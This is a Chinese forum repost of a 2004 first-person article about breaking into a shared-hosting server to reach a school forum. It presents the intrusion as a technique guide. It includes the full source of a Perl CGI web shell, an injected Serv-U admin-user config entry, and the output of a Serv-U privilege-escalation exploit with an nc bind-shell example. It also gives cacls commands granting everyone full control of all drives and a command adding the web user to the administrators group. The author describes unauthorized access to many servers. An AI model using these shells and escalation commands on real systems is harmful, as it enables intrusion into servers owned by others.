找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2237|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 9 ^% }6 K1 l" _' W  u3 h
本文作者:angel+ S9 n4 M8 d8 Z
文章性质:原创
& a! y' y5 }0 W# V& i发布日期:2004-11-09
; e; Q) y* Z* N" V& \注意:
2 N$ b- F6 q4 f2 j0 J: |4 }本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
5 c1 F! s0 h" n) c& P) J0 Q本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
6 l  d1 }- y" ~) P& v7 I$ A
7 A( }7 Y& B  |( S* v* w4 v$ ]  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
2 ^4 t+ a. R1 q* \. t
+ x4 f: }) |7 s$ Q8 R  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
3 [: G3 q; Y8 I- m, q6 i
2 ~( J# W$ X3 u6 {" m( `  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 + ^1 m- L6 c. x, T1 e* C

$ s- g2 j4 M/ x: R. S; M  }  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 6 ]& T+ @% s' E/ z/ Y
. H% ]6 f# s1 K, C2 `7 m
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
) L; T& n( g. s# ^
# z; n9 {) ~1 O0 i  没有目的的跳转目录着…… % V; h" F8 V9 W5 F; O6 |7 O
# C, B6 D- n; f0 U# G2 Y9 f
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… ) B* U( `$ B: G" ?

7 a1 @* E+ s# j$ o; B9 H, l  结束了吗?不,我试着 FTP 一下:
$ |# i4 H& w; |7 B1 i+ @, [- ?5 [6 }& d$ B* F$ h+ I( g. ]
Microsoft Windows 2000 [Version 5.00.2195]0 ~  z. [% W: `7 Z9 i1 M
(C) 版权所有 1985-2000 Microsoft Corp.
: \8 u, `- i- o1 M$ s7 M0 v- L) m/ z$ u3 `3 k: J
C:\Documents and Settings\Administrator>ftp www.school.com
: ~1 F1 Q+ ]- M& ?$ S: w& a% t# `Connected to www. school.com. ( f0 p# O$ I& z3 y2 a) Q
220 Welcome to FTP Server...
1 k& r( s4 @) J& c7 p& ]User (www.bjtrq.com:(none)):
$ ?" g2 U$ @: A+ E331 User name okay, need password.
" A1 ?+ B# X9 E4 wPassword: 6 J6 ~; E4 f, F* O1 s" G! D$ Q9 N
530 Not logged in. ' F5 e# s, x; X3 y  S1 r9 A
Login failed.
  m) c" D; W3 Y- x; M& \ftp> bye 5 H9 C* ~9 i. w/ M* D
221 Goodbye!
% o! x' D6 N0 |
% ^; N) k9 L! ^, T7 w9 n% _* h0 B1 e7 i% [: {$ ]  _
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' W- q# M# D2 F4 Z0 f" W8 s
. U! K% X3 J/ @: H
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 . C3 o- J" K8 r& }8 g

9 P- f5 v. D  i3 c' Y) AApplication Data
) {1 N- x, l2 B1 t( G% ADocuments* B) m5 X: B3 I7 T; e& B$ [; Y6 z
DRM
/ c0 b# A2 B4 FFavorites
' x  I! Y% ?4 F; i1 [4 NTemplates
' m- z8 ?: k& s" l6 I「开始」菜单2 r2 K& a5 w# s2 h$ d- @
桌面
5 x! B# \. ~7 y% h( `  t5 I
% |7 m/ D4 u9 d
) K7 x1 D8 N. x9 z" y  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
& F- ^4 h% x  z! T# w4 Q/ S/ }8 x
. u( B% f4 ]. ?6 U  U) @0 CActiveState ActivePerl 5.8
" B* }% O) {  {/ U  |0 x0 AAdministrative Tools; z3 ^3 L  Q4 j" M$ E. A( O
Deerfield.com' F* c2 x7 [3 k, o! F# N' E7 F$ R
DTemp
) S' I9 t' s+ w) RIPSentry
" w' p3 E& x  ~" vMBM 5- K4 K" {) N$ f  C
NetMeter
: @$ y) u1 R0 d, Y% g9 r- T# PNetwork ICE% v) X4 x9 W" D( W3 l8 K
Persits Software AspEmail
3 `. J2 q/ m+ G( mPersits Software AspJpeg$ @; }% ^) g, q7 [! e2 |& O7 u
Serv-U FTP Server% b3 `; |7 [2 o2 |3 v) ?! o9 c
Symantec Client Security! j$ J. I5 p* f6 k: l
Windows 优化大师9 w: s- ?* Z/ ?/ Q1 ~( Q3 B* j  ?/ ]
WinRAR
$ r0 Z& P& `6 r+ I2 H# ^9 `启动" b+ r0 C% I8 f: V) n
管理工具+ n7 T+ ]4 S' U) ?  q1 N
附件. q$ n8 V1 e- u& h/ Z8 b6 p9 {4 d* P

$ N1 |3 S6 F7 l+ g7 {. S- C* {0 B( @
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
% S% i& K! H  ]+ E  n# n# ]$ f/ V
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
' [9 L" V1 i7 h) m
( f2 i0 O, J0 U5 dUser281=angel|1|0 7 W4 y) |% B8 Y1 R! x3 [

! ~" e, U9 }0 s3 T* r; C3 R- u4 f& w& d
  然后加上
9 e, ^0 V2 Y2 F2 d' A3 }; g' N2 E( j7 L0 R; Y
[USER=angel|1]
) P/ x1 v7 D' t. _$ `! bPassword=ng98F85379EA68DBF97BAADCA99B69B805
/ g  f; m3 G' D* M3 E  Y4 n( l# uHomeDir=D:\websites- y4 S/ ^" x. }( m0 S
RelPaths=1
8 k$ M. O# v9 s$ V# j" U% y; eTimeOut=600" E, [3 `+ `$ Y# V; E4 c
Maintenance=System
3 U. S+ L# K  y$ EAccess1=D:\websites|RWAMELCDP
* }! P) l- c( ]# _3 x! u$ ySKEYValues=
* V% D; _4 j- y" d' M 2 F0 w) d& ~5 I
+ C! N" j" j* l4 J& H* M
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 2 Y/ k  o* ~  v6 ?* _2 \5 t

2 [8 ?3 d! p" N% G- v$ \: T  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 5 O+ M+ Z  P7 }7 C+ Q

  Y) K3 N3 F8 s$ L5 n7 q  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
8 t" e) J8 P8 @+ I- y% c3 r* f9 l7 G0 g
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 6 u% X$ y% O8 e6 [4 M! d- U0 H% _7 j

* k# O" `# _: D: R6 o; b1 {#!/usr/bin/perl/ P' |$ {; d+ i
binmode(STDOUT);( \& M# w: ]& {5 Q
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
) `& c* S: W6 I5 Z8 x$_ = $ENV{QUERY_STRING};
; ~4 q4 e+ D, O" ~0 Ds/%20/ /ig;- ~" \( ^- }" G' o: F" u
s/%2f/\//ig;' g, k3 E. e% U3 O7 i" o8 {& A
$execthis = $_;
' ^  d3 c6 q; q. d+ m) }syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: a. a# @+ g( Z/ L3 ~open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 `  O9 Q& s( ]9 S# \, M7 r
system($execthis);
7 ]- }/ J, o1 F3 F: m. F. [syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
0 B& y7 p" d" W  P7 O, @! p2 J' R; eclose(STDERR);
# `/ q! I/ q9 D. i* q% |7 l/ Kclose(STDOUT);
7 H7 L1 R+ Y9 d9 U3 zexit;; J1 G1 E6 u3 y9 O9 U) c* d( x: \- D
" C/ V  K3 X5 |2 d: X

2 V! G0 X1 j! u2 X/ ^- j0 N  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ( x- D; m: o. q) G' e/ b8 K

; P( u8 [1 S, H- e* G  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
6 K- [5 \; E( [/ d) M& @! x% T  C$ P  m. G# P1 W3 s
http://anyhost//cmd.pl?d:\user\bin\su.exe
- z" i0 u% U5 }, i+ M* o
8 s) r; `& M- f. ~. c  s# w, I8 k/ V' k1 G4 u$ }! R7 U' Q
  返回:
& G. u9 W$ ^. _7 E# S1 Q6 @' n1 c( w8 c; f0 R
Serv-u >3.x Local Exploit by xiaolu , Y- L5 H% ]8 e

4 R4 P% ?7 y+ k. `USAGE: serv-u.exe "command" + [2 Z- C4 Z- s

- M' @; Y; k+ L) w6 G8 @, {# KExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ! {2 A$ J' E0 L6 N3 Q

; ^+ u. R# I* o; y/ b2 f" A2 l! v, W/ K8 z  u- R' s/ N, [9 y4 o
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
. h4 ^7 m2 c( i! [* s# U* q4 m3 \  q; b. h( _$ {
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
% T% b# `* ]$ r3 L# B% b! q6 V) K# i8 C1 Y* u3 R- R
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
* F9 L- s* q0 Q8 p' P8 m
2 g7 V% Y5 O7 `http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
. |& ~9 [& M7 @  ^" U) `/ v
. M2 ^; S" D. o5 b5 dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
* q3 h- `/ [1 q
  w% M5 \5 t( [& R! v6 i& v7 v$ ?0 K/ q5 K' D6 q6 d
  返回下面的信息,就表示成功了!!! $ B6 c! a! |3 b( y! F. u

$ U8 ?( c( h$ G# P" ^9 N5 y3 UServ-u >3.x Local Exploit by xiaolu * `$ F& @2 J: |" J, H
+ A2 [, _# c! l' r/ M; S# d* ~: ~
<220 Serv-U FTP Server v5.2 for WinSock ready... 2 Q5 |& m8 B% i+ |
( V, ]+ x/ z( ]; C- K, t
>USER LocalAdministrator
3 c1 ~1 b. ?; r8 Y) |+ E3 J. s
9 H3 b% w; O2 S0 j/ x. Y2 g<331 User name okay, need password.
; L4 u9 d' s* p5 z' u; ~+ J8 L' F/ d$ ?
****************************************************** ! j$ o7 ?, y. {" [/ l
9 T% f3 `  J% e  C
>PASS #l@$ak#.lk;0@P 1 R5 w4 ~! k8 `3 Q  i
8 ^) G# d% r8 t9 G
<230 User logged in, proceed. + v- x9 y4 @2 V& `' U

4 @" I" V4 \2 Z% M****************************************************** 0 T5 T3 G8 s  p! p( y# B; C* [6 Q
" U$ q* L8 ], L. n2 E
>SITE MAINTENANCE / d2 R+ k5 B7 g2 b) J3 t

. _1 K6 t- D. i4 A$ Z******************************************************
+ ^5 {, ~% V) H# _/ X3 F) l3 {7 I' D2 f/ x
[+] Creating New Domain...
  r  ~# i- R: K
. q' _1 M( P# m7 f4 z1 S7 q" t9 E<200-DomainID=2
9 J* @( Y9 f5 j3 p  b5 i0 ^! ~- P  B+ I4 P+ G7 F" L  y
<220 Domain settings saved / V) g, ^4 m+ ~) T9 G1 d

. J% a0 p' I( [5 T7 @% L. [+ m****************************************************** " g$ M4 l/ @! D: s: Y* Q- D2 c- d
' K" k* x2 O9 B- k4 E
[+] Domain xl:2 Created
$ h/ e. U8 H+ L% X/ H2 Q
( j0 r* O) Z) ]9 [1 i, r1 u[+] Creating Evil User
$ I& e- d. m3 S! k* B
6 u2 j" m2 J  w. u  w7 ]6 S9 I1 D<200-User=xl
0 S3 G, T& O" ^$ f7 c. ?& q' r. W+ |8 R7 ?/ F. h
200 User settings saved
9 b2 c' X, _7 R( w& U
/ Q6 E6 M& B& {) F( ]6 O' B# t****************************************************** 6 e( D8 p; V1 }; D9 ?# J4 c* h
! p  L3 }, z1 }- f
[+] Now Exploiting...
  u6 f( o% K8 ?1 l/ d, k! U9 c- M. D- W( H2 l
>USER xl
1 E1 K2 ?% }1 p! m4 ^  w  O- c1 ^* ~  R( a! ]2 V& a6 i; w9 ^- C
<331 User name okay, need password. ' ~7 V- ~2 W; A) e% G. e

6 y- r( r  d) M0 \4 }; L: n% j******************************************************
" H, a6 ?2 T! b+ d# B# m8 d; m; n
>PASS 111111 ) A: @& i6 i% I$ S- S! `
6 ~; U+ I- {5 O% r9 b8 |4 ^) x: Y
<230 User logged in, proceed.
( c" D7 Y/ M% N3 {0 J" ?1 ?
9 S; l. r" K! o8 _******************************************************
' X. b  V( Y6 Q; p: w1 b5 y1 R9 w  J& k  `4 i) S, Z
[+] Now Executing: cacls.exe c: /E /T /G everyone:F $ A7 h: m2 O& l* g+ _
" D. m3 b; P% V; w" ]1 O4 }+ V
<220 Domain deleted 0 M# k1 B: J) k) J& O2 J

) y) h( k2 R9 v0 I) |  S. k; m****************************************************** + i* a+ h) B- a! ?: l- S

: c. _& ^0 Q4 V1 ^" C1 F/ A- V, t2 d) y- I8 p$ {# F. Y7 X' \
  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 5 b) a5 F! a) g2 @1 r
3 w8 ~% A  ~! U$ S4 W4 F
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ k! w9 Y) |% Q# j( N& C  F. l$ R. ^
- v: e9 ?' _+ q) X, W* P0 V: G$ v- a
+ e+ H5 R& z' B  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
, j" ?: q7 x6 }1 ?
" E( J5 V% V9 m+ s' W/ r! `  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。- i2 d  o* Y5 j3 V# ?% D# @* i+ x
2 A/ r( u  L, z6 d
  0 ]' {4 M- W( x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表